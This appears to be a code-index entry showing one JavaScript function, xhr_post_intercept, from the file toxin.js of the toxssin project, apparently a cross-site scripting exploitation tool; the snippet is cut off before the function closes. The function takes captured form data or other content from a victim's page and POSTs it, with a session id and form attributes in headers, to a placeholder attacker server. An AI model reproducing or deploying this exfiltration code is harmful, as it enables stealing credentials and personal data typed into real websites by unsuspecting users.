INNER CODE UNIT · JavaScript
xhr_post_intercept
t3l3machus/toxssin · toxin.js:45
function xhr_post_intercept(capture, event_hash, data_type = 'form', form_attrs = '', r = false) {
let xhttp = new XMLHttpRequest();
xhttp.open("POST", `*TOXSSIN_SERVER*/${event_hash}`, true);
xhttp.setRequestHeader('X-toxssin-id', '*SESSIONID*');
for (let attr in form_attrs) {
xhttp.setRequestHeader(`X-form-${attr}`, form_attrs[attr]);
}
if (data_type === 'form'){
xhttp.send(new FormData(capture));
} else {
xhttp.send(capture);
}